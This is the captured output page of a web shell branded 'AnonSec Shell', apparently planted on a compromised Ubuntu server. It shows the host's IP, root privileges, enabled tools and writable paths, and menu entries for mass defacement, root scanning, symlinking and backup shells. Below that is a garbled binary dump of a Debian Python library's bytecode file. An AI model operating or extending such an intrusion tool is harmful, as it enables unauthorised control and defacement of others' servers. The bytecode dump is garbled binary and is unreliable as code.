AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/debian/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/debian/__pycache__/debian_support.cpython-310.pyc
o

���ak�@s�dZddlZddlZddlZz&ddlmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZmZWn	ey=YnwddlmZzddlZe��dZWney[dZYnwz	ddlZejZWn
eyrdd�ZYnwz	ddlZejZ Wn
ey�d	d
�Z YnwGdd�de!�Z"Gd
d�de#�Z$Gdd�de$�Z%Gdd�de$�Z&er�Gdd�de%�Z'nGdd�de&�Z'dd�Z(Gdd�d�Z)Gdd�d�Z*Gdd�de*�Z+dd�Z,ee,�Z-e,�Z.d6d d!�Z/ee/�Z0[-[,d"d#�Z1d$d%�Z2ee2�Z3d&Z4e�5e4�Z6e�5e4�7d'��Z8	d6d(d)�Z9ee9�Z:d*d+�Z;ee;�Z<d7d,d-�Z=ee=�Z>d.d/�Z?ee?�Z@d0d1�ZAeeA�ZBd8d2d3�ZCeeC�ZDd4d5�ZEeeE�ZFdS)9z2 Facilities to deal with Debian-specific metadata �N)�Any�AnyStr�BinaryIO�Dict�Iterable�Iterator�	Generator�List�Match�NoReturn�Optional�Pattern�Text�TextIO�Tuple�Union)�function_deprecated_byTFcG�td���Nz�Built-in sha1 implementation not found; cannot use hashlib implementation because it depends on OpenSSL, which may not be linked with this library due to license incompatibilities��NotImplementedError��args�r�7/usr/lib/python3/dist-packages/debian/debian_support.py�new_sha1?��rcGrrrrrrr�
new_sha256Nrrcs@eZdZdZ�fdd�Zdd�Zdd�Zdd	�Zee�Z	�Z
S)
�
ParseErrorz�An exception which is used to signal a parse failure.

    Attributes:

    filename - name of the file
    lineno - line number in the file
    msg - error message

    cs4t|t�sJ�||_||_||_tt|��|�dS�N)�
isinstance�int�filename�lineno�msg�superr�__init__)�selfr"r#r$��	__class__rrr&bs
zParseError.__init__cC�|jSr)r$�r'rrr�__str__n�zParseError.__str__cCsd|j|j|jfS)NzParseError(%r, %d, %r))r"r#r$r+rrr�__repr__rs�zParseError.__repr__cCs&|�d|j|j|jf�|��dS)z0Writes a machine-parsable error message to file.z
%s:%d: %s
N)�writer"r#r$�flush)r'�filerrr�	print_outxszParseError.print_out)�__name__�
__module__�__qualname__�__doc__r&r,r.r2r�printOut�
__classcell__rrr(rrWs
rcs�eZdZdZe�d�ZdZdd�Zdd�Z	�fdd	�Z
�fd
d�Zdd
�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zd d!�Z�ZS)"�BaseVersiona�Base class for classes representing Debian versions

    It doesn't implement any comparison, but it does check for valid versions
    according to Section 5.6.12 in the Debian Policy Manual.  Since splitting
    the version into epoch, upstream_version, and debian_revision components is
    pretty much free with the validation, it sets those fields as properties of
    the object, and sets the raw version to the full_version property.  A
    missing epoch or debian_revision results in the respective property set to
    None.  Setting any of the properties results in the full_version being
    recomputed and the rest of the properties set from that.

    It also implements __str__, just returning the raw version given to the
    initializer.
    zd^((?P<epoch>\d+):)?(?P<upstream_version>[A-Za-z0-9.+:~-]+?)(-(?P<debian_revision>[A-Za-z0-9+.~]+))?$)�full_version�epoch�upstream_version�debian_revision�debian_versioncCst|t�r	t|�}||_dSr)r r9�strr:�r'�versionrrrr&�s

zBaseVersion.__init__cCsr|j�|�}|std|��|�d�dur"d|�d�vr"td|��||_|�d�|_|�d�|_|�d�|_dS)NzInvalid version string %rr;�:r<r=)�re_valid_version�match�
ValueError�group�_BaseVersion__full_version�_BaseVersion__epoch�_BaseVersion__upstream_version�_BaseVersion__debian_revision)r'rA�mrrr�_set_full_version�szBaseVersion._set_full_versioncs�||jvrtt|��||�dS|dkrd}|dkr#|�t|��dS|dur+t|�}d|}t||�}t|||�z|��WdSt	yZt|||�|��t	d||f��w)Nr>r=r:�_BaseVersion__%sz+Setting %s to %r results in invalid version)
�magic_attrsr%r9�__setattr__rLr?�getattr�setattr�_update_full_versionrE)r'�attr�value�private�	old_valuer(rrrO�s*

��zBaseVersion.__setattr__cs8||jvr
tt|��|�S|dkrd}d|}t||�S)Nr>r=rM)rNr%r9�__getattribute__rP)r'rSrUr(rr�__getattr__�s

zBaseVersion.__getattr__cCsDd}|jdur||jd7}||j7}|jr|d|j7}||_dS)N�rB�-)rHrIrJr:r@rrrrR�s


z BaseVersion._update_full_versioncCs|jdur|jSdS)NrY)r:r+rrrr,��zBaseVersion.__str__cCsd|jj|fS)Nz%s('%s'))r)r3r+rrrr.�szBaseVersion.__repr__cCst�rr�r'�otherrrr�_compare�szBaseVersion._comparecCs|�|�dkS�Nr�r^r\rrr�__lt__��zBaseVersion.__lt__cCs|�|�dkSr_r`r\rrr�__le__�rbzBaseVersion.__le__cCs|�|�dkSr_r`r\rrr�__eq__�rbzBaseVersion.__eq__cCs|�|�dkSr_r`r\rrr�__ne__�rbzBaseVersion.__ne__cCs|�|�dkSr_r`r\rrr�__ge__�rbzBaseVersion.__ge__cCs|�|�dkSr_r`r\rrr�__gt__rbzBaseVersion.__gt__cCstt|��Sr)�hashr?r+rrr�__hash__�zBaseVersion.__hash__)r3r4r5r6�re�compilerCrNr&rLrOrXrRr,r.r^rarcrdrerfrgrir8rrr(rr9�s*�
r9cs(eZdZdZ�fdd�Zdd�Z�ZS)�
AptPkgVersionzARepresents a Debian package version, using apt_pkg.VersionComparecs tstd��tt|��|�dS)Nz5apt_pkg not available; install the python-apt package)�
_have_apt_pkgrr%rmr&r@r(rrr&szAptPkgVersion.__init__cCst�t|�t|��Sr)�apt_pkg�version_comparer?r\rrrr^r[zAptPkgVersion._compare)r3r4r5r6r&r^r8rrr(rrmsrmc@sdeZdZdZe�d�Ze�d�Ze�d�Ze�d�Z	dd�Z
edd	��Zed
d��Z
edd
��ZdS)�
NativeVersionzBRepresents a Debian package version, with native Python comparisonz\d+|\D+z\d+z\dz[A-Za-z]c
Cs�|durdSt|t�s(ztt|��}Wnty'}ztd||f��d}~wwt|jp-d�}t|jp4d�}||kr<dS||krBdS|�|jpHd|jpLd�}|dkrT|S|�|jpZd|jp^d�S)N�z&Couldn't convert %r to BaseVersion: %s�0���r)	r r9r?rEr!r;�_version_cmp_partr<r=)r'r]�e�lepoch�repoch�resrrrr^%s2
�����zNativeVersion._comparecCsD|dkrdS|j�|�rt|�dS|j�|�rt|�St|�dS)z'Return an integer value for character x�~rtrr�)�re_digitrDr!�re_alpha�ord)�cls�xrrr�_orderDszNativeVersion._ordercst�fdd�|D�}�fdd�|D�}|s|r8d}d}|r!|�d�}|r(|�d�}||kr.dS||kr4dS|s|sdS)Nc�g|]}��|��qSr�r���.0r��rrr�
<listcomp>S�z5NativeVersion._version_cmp_string.<locals>.<listcomp>cr�rr�r�r�rrr�Tr�rrtrr)�pop)r�va�vb�la�lb�a�brr�r�_version_cmp_stringPs

�z!NativeVersion._version_cmp_stringc
Cs�|j�|�}|j�|�}|s|rSd}d}|r|�d�}|r"|�d�}|j�|�rC|j�|�rCt|�}t|�}||kr<dS||krBdSn|�||�}	|	dkrO|	S|s|sdS)Nrsrrtrr)�re_all_digits_or_not�findallr��	re_digitsrDr!r�)
rr�r�r�r�r�r��aval�bvalryrrrrubs,

��zNativeVersion._version_cmp_partN)r3r4r5r6rkrlr�r�r|r}r^�classmethodr�r�rurrrrrqs





rqc@�eZdZdS��VersionN�r3r4r5rrrrr�}�r�c@r�r�r�rrrrr��r�cCs,t|�}t|�}||krdS||krdSdS)Nrtrrr)r�)r�r�r�r�rrrrp�srpc@sTeZdZdZe�d�Ze�d�Z		ddd�Zdd	�Z	d
d�Z
ddd
�Zee�Z
dS)�PackageFilezmA Debian package file.

    Objects of this class can be used to read Debian's Source and
    Packages files.z+^([A-Za-z][A-Za-z0-9-_]+):(?:\s*(.*?))?\s*$z^\s+(?:\.|(\S.*?)\s*)$N�utf-8cCs.|dur	t|d�}||_||_d|_||_dS)z�Creates a new package file object.

        name - the name of the file the data comes from
        file_obj - an alternate data source; the default is to open the
                  file with the indicated name.
        N�rbr)�open�namer1r#�encoding)r'r��file_objr�rrrr&�s

zPackageFile.__init__ccs�|��}|jd7_g}|rw|�d�dkr/|s|�d�|Vg}|��}|jd7_q|j�|�}|s<|�d�|��\}}|pEd}	|��}|jd7_|j�|�}|rl|��\}|dured}d||f}nnqG|�||f�|s|r~|VdSdS)	Nrrz 	�
zexpected package recordzexpected package fieldrYTz%s
%s)	�_aux_read_liner#�strip�raise_syntax_error�re_fieldrD�groups�re_continuation�append)r'�line�pkgrDr��contents�	ncontentsrrr�__iter__�sD�


��
�zPackageFile.__iter__cCs$|j��}t|t�r|�|j�S|Sr)r1�readliner �bytes�decoder�)r'r�rrrr��s

zPackageFile._aux_read_linecCs|dur|j}t|j||��r)r#rr�)r'r$r#rrrr��szPackageFile.raise_syntax_error)Nr�r)r3r4r5r6rkrlr�r�r&r�r�r�r�raiseSyntaxErrorrrrrr��s


�$
	r�c@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�
PseudoEnumz8A base class for types which resemble enumeration types.cCs||_||_dSr)�_namer�)r'r��orderrrrr&�s
zPseudoEnum.__init__cCsd|jj|jfS)Nz%s(%r))r)r3r�r+rrrr.�szPseudoEnum.__repr__cCr*r)r�r+rrrr,�r-zPseudoEnum.__str__cCs|j|jkSrr�r\rrrra�rjzPseudoEnum.__lt__cCs|j|jkSrr�r\rrrrc�rjzPseudoEnum.__le__cCs|j|jkSrr�r\rrrrd�rjzPseudoEnum.__eq__cCs|j|jkSrr�r\rrrrerjzPseudoEnum.__ne__cCs|j|jkSrr�r\rrrrfrjzPseudoEnum.__ge__cCs|j|jkSrr�r\rrrrg	rjzPseudoEnum.__gt__cCs
t|j�Sr)rhr�r+rrrri
s
zPseudoEnum.__hash__N)r3r4r5r6r&r.r,rarcrdrerfrgrirrrrr��sr�cs(eZdZdZiZ	d�fdd�	Z�ZS)�Releasez�
    Debian release defined with respect to its name, order of release
    and version. The latter can be empty in case of 'sid'.

    See https://www.debian.org/releases/
    rYcstt|��||�||_dSr)r%r�r&rA)r'r�r�rAr(rrr&s
zRelease.__init__)rY)r3r4r5r6�releasesr&r8rrr(rr�s
�r�cCs<i}d}t|�D]\}}|\}}t|||�||<q|t_|S)z*
     Returns dict of Debian releases
    ))�buzzz1.1)�rexz1.2)�boz1.3)�hammz2.0)�slinkz2.1)�potatoz2.2)�woodyz3.0)�sargez3.1)�etchz4.0)�lennyz5.0)�squeezez6.0)�wheezy�7)�jessie�8)�stretch�9)�buster�10)�bullseye�11)�bookworm�12)�trixie�13)�sidrY)�	enumerater�r�)r��rels�idx�relr�rArrr�
list_releases$sr�cCs|durt}|�|�Sr)�
_release_list�get)r�r�rrr�intern_releaseIs
r�cC�>t�}|D]}t|t�r|�|�q|�|�d��q|��S�N�UTF-8)rr r��update�encode�	hexdigest��linesrK�lrrr�read_lines_sha256W�
r�cCr�r�)rr r�r�r�r�r�rrr�read_lines_sha1br�r�z^(\d+)(?:,(\d+))?([acd])$r�c
cs.�t|�}|}|D]�}|st|t�rtnt}|�|�}|dur%td|��|��\}}}t|�}	|dur6dnt|�}
t	|�dkrS|	d}	|
durL|	d}
|	|
gfVq	t	|�dkrf|
durctd|��|	}
n|	d}	|
durr|	d}
g}|D]}|dvr�td|��|d	vr�n|�
|�qv|	|
|fVq	dS)
a1Converts source to a stream of patches.

    Patches are triples of line indexes:

    - number of the first line to be replaced
    - one plus the number of the last line to be replaced
    - list of line replacements

    This is enough to model arbitrary additions, deletions and
    replacements.
    Nzinvalid patch command: %r�drr�azinvalid patch argument: %r)rY�zend of stream in command: %r)z.
�.s.
�.)�iterr r��_patch_re_b�	_patch_rerDrEr�r!r~r�)
�source�re_cmd�i�patch_rer�rD�first_�last_�cmd�first�lastr��crrr�patches_from_ed_scriptusD�
�r�cCs |D]\}}}||||�<qdS)z2Applies patches to lines.  Updates lines in place.Nr)r��patchesr�r�rrrr�patch_lines�s�r�c	Cs�|d}z7t|d|d��}|D]}|�|�qWd�n1s!wYt�||�Wtj�|�r:t�|�dSdStj�|�rHt�|�ww)Nz.newzw+�r�)r�r/�os�rename�path�exists�unlink)r��localr��	local_new�new_filer�rrr�replace_file�s����rc
	Cs�ddl}ddl}ddlm}|��\}}z6t�|�|||�\}}|�|d��}|��}	Wd�n1s6wYWt�	|�|	SWt�	|�|	St�	|�w)z[Downloads a file from a remote location and gunzips it.

    Returns the lines in the file.rN)�urlretrieve�rt)
�gzip�tempfile�urllib.requestr�mkstempr��closer��	readlinesr)
�remoterr	r�handle�fnamer"�_�gfiler�rrr�download_gunzip_lines�s 


�
�
�rcCst|d�}t||�|S)z�Copies a gzipped remote file to the local system.

    remote - URL, without the .gz suffix
    local - name of the local file
    �.gz)rr)rrr�rrr�
download_file�s
rcCszt|ddd��}|��}Wd�n1swYWnty1|r*td�t||�YSwg}i}ddlm}|d}t�d	�}	z||��}
t	t
||
��}Wd�n1s\wYWn'tyv|rotd
�t||�YSty�|r�td�t||�YSwdd
d�|D�vr�|r�td�d}t|�}
t}n|r�td�d}t
|�}
t
}|D]y}|D]t\}}||dkr�|	�|�\}}|
|kr�|r�td�|Sq�||dkr�|��D]}|dkr�q�|	�|�\}}}|s�||
kr�|�|�q�q�||dk�r!|��D]}|dk�r�q	|	�|�\}}}|||<�q	q�|�r*td|�q�q�|�s<|�r7td|
�t||�S|D]0}|�rItd|�t|d|d�}||�||k�rbtd|��t	|�}t|t|���q>||�}||k�r�td||f��t||�|S)zjUpdates the local file by downloading a remote patch.

    Returns a list of lines in the local file.
    �rr�r�Nz1update_file: no local copy, downloading full filer)�urlopenz.diff/Indexz\s+z1update_file: could not interpret patch index filez0update_file: could not download patch index filezSHA256-CurrentcSsg|]}|D]\}}|�qqSrr)r��fields�k�vrrrr�$szupdate_file.<locals>.<listcomp>zupdate_file: using sha256�SHA256zupdate_file: using sha1�SHA1z-Currentz%update_file: local file is up-to-datez-HistoryrYz-Patcheszupdate_file: field %r ignoredz*update_file: could not find historic entryz!update_file: downloading patch %rz.diff/rzpatch %r was garbledz"patch failed, got %s instead of %s)r�r
�IOError�printrr
rrkrl�listr�rr�r��split�
splitlinesr�rrEr�r�r)rr�verbose�
local_filer��patches_to_apply�patch_hashesr�
index_name�
re_whitespace�	index_url�index_fields�prefix�
local_hash�
read_linesr�fieldrT�remote_hashr�entry�	hist_hash�
patch_name�
patch_hash�patch_contents�patch_contents_unicode�new_hashrrr�update_file�s�
���

���
�
��!

�
�
r6cGs(i}|D]}|D]}d||<qqt|�S)zdCreate an order set (represented as a list) of the objects in
    the sequences passed as arguments.T)�sorted)r�sr��yrrr�
merge_as_setsns
�r:r)r�)F)Gr6r��os.pathrk�typingrrrrrrrr	r
rrr
rrrr�ImportError�debian.deprecationrro�initrn�_sha1�sha1r�_sha256�sha256r�	Exceptionr�objectr9rmrqr�rpr�r�r�r��listReleasesr�r��
internReleaser�r��
readLinesSHA1�
_patch_re_rawrlr�r�r�r��patchesFromEdScriptr��
patchLinesr�replaceFiler�downloadGunzipLinesr�downloadFiler6�
updateFiler:�mergeAsSetsrrrr�<module>s�L��
�
�
*_R1 


�;


n

Anon7 - 2022
AnonSec Team